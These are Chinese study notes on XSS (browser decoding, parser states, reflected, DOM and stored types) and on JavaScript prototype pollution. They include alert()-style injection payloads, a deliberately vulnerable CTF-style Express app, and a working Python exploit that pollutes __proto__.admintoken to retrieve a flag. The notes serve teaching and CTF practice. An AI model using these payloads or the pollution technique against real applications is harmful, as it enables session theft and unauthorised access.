XSS知识总结
浏览器解码
解码的顺序:1️⃣html实体编码--->2️⃣urlencode编码--->3️⃣ js的unicode编码
HTML解析
在HTML中有五类元素:
-
空元素(Void elements),如<area>, ,<base>等等
-
原始文本元素(Raw text elements),有<script>和<style>
-
RCDATA元素(RCDATA elements),有<textarea>和<title>
-
外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素
-
基本元素(Normal elements),即除了以上4种元素以外的元素
五类元素的区别如下:
-
空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。 不用考虑 没内容
-
原始文本元素,可以容纳文本。只能把里面的内容 当做文本 利用不了
-
RCDATA元素,可以容纳文本和字符引用。但是 一旦有字符引用 可能 就无法进入标签开始状态 大概率 利用不了
-
外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释 svg 可以
-
基本元素,可以容纳文本、字符引用、其他元素和注释 可以
一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个'<'符号(后面没有跟'/'符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”......最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
这里有三种情况可以容纳字符实体,(实体编码),“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#...”形式解码,对应的解码字符会被放入数据缓冲区中,这里有一个例子<div><img src=x οnerrοr=alert(4)></div>,这里的div标签中的img标签的<>被html实体编码,可能我们会下意识以为浏览器会解码解析,但是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”;
在html解码后会进入urlencode解码,此时要注意不能将协议标识编码为urlencode,否则浏览器虽然可以解码,但是无法解析
最后进入js解码,由于js要求严格,不能将特殊字符编码((、)、‘、’),否则无法解析;
xss漏洞(跨站脚本)
XSS 漏洞简介
XSS(Cross-Site Scripting,跨站脚本攻击) 是一种常见的 Web 安全漏洞,指攻击者通过在网页中注入恶意脚本(通常是 JavaScript),当用户浏览包含恶意脚本的页面时,脚本会在用户的浏览器中执行,从而达到窃取用户信息、劫持用户会话、篡改页面内容等恶意目的。
需要注意的是,XSS 的名称中 “Cross-Site”(跨站)并不意味着攻击一定涉及多个网站,其核心在于恶意脚本的 “注入” 和 “执行”,攻击目标通常是当前访问的网站及其用户。
XSS 的产生原因
XSS 漏洞的产生本质上是Web 应用程序对用户输入的数据缺乏严格的验证、过滤和转义处理,导致攻击者能够将恶意脚本注入到页面中,并被浏览器当作合法代码执行。具体原因可分为以下几点:
-
输入验证不足
Web 应用未对用户提交的输入内容(如表单数据、URL 参数、评论、搜索框输入等)进行有效的合法性校验,允许包含
<script>
、onclick
等危险标签或事件的恶意内容传入系统。例如,攻击者在评论区输入
<script>alert('XSS')</script>
,若应用直接存储并显示该内容,其他用户查看评论时,脚本会被执行。 -
输出转义缺失
当 Web 应用将用户输入的数据(或其他不可信数据)输出到网页中时,未进行适当的转义处理,导致恶意脚本被浏览器解析执行。
浏览器会将输出的字符串当作 HTML/CSS/JavaScript 代码处理,若其中包含
<
、>
、&
等特殊字符,可能被解析为标签或脚本。例如,未转义的<
会被识别为 HTML 标签的开始。 -
对 DOM 操作的滥用
在前端 JavaScript 中,若直接使用
document.write()
、innerHTML
等方法将不可信数据插入到 DOM 中,且未进行过滤,会导致恶意脚本被执行(此类漏洞称为 DOM 型 XSS)。例如:
document.getElementById("content").innerHTML = userInput;
,若userInput
包含恶意脚本,会直接被注入页面。 -
信任第三方内容
引用不可信的第三方资源(如广告、插件、API 接口返回的数据)时,未对其内容进行安全校验,可能引入恶意脚本。
例如,第三方广告平台被黑客劫持,向嵌入广告的网站注入恶意脚本。
-
浏览器的同源策略局限性
浏览器的同源策略(Same-Origin Policy)本应限制不同域名之间的资源访问,但 XSS 攻击利用脚本在用户浏览器中执行的特性,可绕过该策略获取当前网站的 Cookie、LocalStorage 等敏感信息(因为脚本与当前网站同源)。
xss的分类
反射型xss
原理:
反射型 XSS 攻击是基于用户输入的数据在服务器端未经充分验证和处理,然后直接在响应中返回给用户浏览器。当用户浏览器接收到包含恶意脚本的响应时,脚本会被执行,从而导致攻击发生。
流程:
1.攻击者构造包含恶意脚本的特制 URL 或表单输入。 2.用户被诱骗点击该恶意 URL 或提交包含恶意输入的表单。 3.服务器接收到用户的请求,并将用户输入的数据直接包含在响应页面中,没有进行有效的消毒或过滤。 4.响应页面被发送回用户的浏览器。 5.浏览器解析并执行响应页面中的恶意脚本,这可能导致用户的会话信息被盗取、浏览器被劫持、恶意操作在用户的浏览器中执行等。 例如,攻击者可能构造一个链接 http://example.com/page?param= ,当用户访问这个链接时,服务器将恶意脚本直接返回并在用户浏览器中执行弹出警告框的操作。 为了防范反射型 XSS 攻击,服务器端需要对用户输入进行严格的验证、消毒和过滤,以确保不会将潜在的恶意脚本返回给用户浏览器。
由于这类xss的利用需要用户交互,且无法持久,属于一次性攻击,一般危害较低
DOM型xss
DOM 型 XSS 是一种特殊的跨站脚本攻击,其核心特征在于恶意脚本的注入与执行完全发生在客户端,不依赖服务器交互,具体可总结为:
-
攻击流程局限于客户端 服务器返回的原始 HTML 文档中不包含恶意脚本,攻击者的恶意代码是在客户端通过 JavaScript 对 DOM(文档对象模型)进行操作时被注入的。整个过程不涉及数据与服务器的交互(如 HTTP 请求 / 响应),因此无法通过抓包捕获攻击流量。
-
依赖前端 DOM 操作漏洞 漏洞根源是前端 JavaScript 对不可信数据(如 URL 参数、本地存储数据等)的不安全处理。例如,使用
innerHTML
、document.write()
等方法直接将未过滤的用户输入插入 DOM,导致恶意脚本被浏览器解析为合法代码执行。本质是客户端脚本误将 “数据” 当作 “代码” 处理,通过动态修改 DOM 元素实现攻击。 -
与服务器的关联性 虽然攻击不经过服务器,但漏洞的存在依赖于服务器返回的前端代码(即存在不安全 DOM 操作的 JavaScript 逻辑)。服务器仅负责提供含漏洞的页面框架,对后续客户端的恶意脚本注入无感知。
综上,DOM 型 XSS 的独特性在于攻击全程在客户端完成,聚焦于前端 DOM 操作的安全缺陷,这使其区别于需经服务器转发或存储的反射型、存储型 XSS,也导致防御需重点关注前端代码对不可信数据的过滤与转义
存储型xss
原理:使用者提交的XSS代码被存储到服务器上的数据库里或页面或某个上传文件里,导致用户访问页面展示的内容时直接触发xss代码。 输入内容后直接在下方回显,回显的地方就是我们插入的内容的地方。 每当有用户访问包含恶意代码的页面时,就会触发代码的执行,从而达到攻击目的。有别于反射型XSS编写一次代码只能进行一次攻击的特点,存储型XSS的恶意脚本一旦存储到服务器端,就能多次被使用,称之为“持久型XSS”。
存储型XSS比反射型XSS的危害更大,在于它不需要构造特殊的URL,用户访问的是一个正常的URL也可以被攻击;另一方面,它持久化在服务端,影响的范围可以比反射型XSS更广。
一个重要条件是,web应用中的用户之间有一定的交互,而非各玩各的。比方说,博客、论坛等,这种互相访问的系统才是存储型XSS生长的土壤。其次,在web系统中要找到可以存储到数据库的输入位置,诸如表单、文本框之类的元素,在这些元素中进行正常的操作,让恶意脚本被当成普通输入数据存入数据库。当然,要使用web应用没有过滤的标签、事件,否则输入数据被过滤之后,能够引起XSS的代码就被破坏了;
这类的xss危害很大,攻击者完全可以利用其盗取管理员的cookie值,利用盗来的cookie以管理员省份登录系统,操作数据,危害很大
原型链污染
在javaScript中,实例对象与原型之间的链接,叫做原型链。其基本思想是利用原型让一个引用类型继承另一个引用类型的属性和方法。然后层层递进,就构成了实例与原型的链条,这就是所谓原型链的基本概念。
原型链
三种相关属性介绍:
__proto__
属性和constructor
属性是对象特有的。__proto__
通常称为隐式原型,prototype
通常称为显式原型 prototype
属性是函数独有的
prototype属性
prototype属性是函数独有的,从一个函数指向一个对象,含义是函数的原型对象。
因此prototype是一个对象,包含构造函数的所有实例共享的属性和方法(即让该函数所实例化的对象们都能找到共用的属性和方法)。
在函数创建时,会默认同时创建这个函数的prototype对象。
proto属性
proto属性是对象独有的,这个属性都是从一个对象指向一个对象,即指向他们各自的原型对象(父对象)。
因此proto的作用是告诉我们一个对象的原型对象是谁。 当访问一个对象的属性时,如果该对象内部不存在这个属性,就会去找它的proto属性所指向的对象,如果这个原型对象(父对象)也不存在,就会继续沿着这个原型对象(父对象)的proto属性找它的原型对象(爷爷对象)。如果还没找到,就继续找,直到原型链的顶端null。
constructor
constructor属性也是对象独有的,这个属性从一个对象指向一个函数,即指向该对象的构造函数。所有函数的最终构造函数都指向了function
function()有一点特殊,它既可以看成函数也可以看成对象。所有函数和对象都是由function构造函数得到的,因此constructor属性的终点就是function()函数。 Function是原生构造函数,自动出现在运行环境中
当一个变量在调用某方法或属性时,如果当前变量并没有该方法或属性,就会在该变量所在的原型链中依次向上查找是否存在该方法或属性,如果有则调用,否则返回undefined
原型链污染
在js中没有类的概念,继承都是通过原型链来实现的。并且很少有真正的私有属性,类的所有属性都运行被公开的访问和修改,包括proto,构造函数和原型。因此攻击者可以通过注入其他值来覆盖或污染proto,构造函数和原型属性,这就是原型链污染。
直接看示例:
const express = require('express')var hbs = require('hbs');var bodyParser = require('body-parser');const md5 = require('md5');var morganBody = require('morgan-body');const app = express();var user = []; //empty for nowvar matrix = [];for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;}app.use(express.static('public'));app.use(bodyParser.json());app.set('view engine', 'html');morganBody(app);app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');} })app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})app.listen(3000, () => {console.log('app listening on port 3000!')})
获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。
由代码可知,全文没有对user.admintoken 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句:
matrix[client.row][client.col] = client.data;
data
,row
,col
,都是我们post传入的值,都是可控的。所以可以在这里利用原型链污染
利用代码:
import requestsimport jsonurl1 = "http://127.0.0.1:3000/api"url2 = "http://127.0.0.1:3000/admin?querytoken=a3c23537bfc1e2da4a511661547d65fb"s = requests.session()headers = {"Content-Type":"application/json"}data1 = {"row":"__proto__","col":"admintoken","data":"sunsec"}res1 = s.post(url1,headers=headers,data = json.dumps(data1))res2 = s.get(url2)print res2.text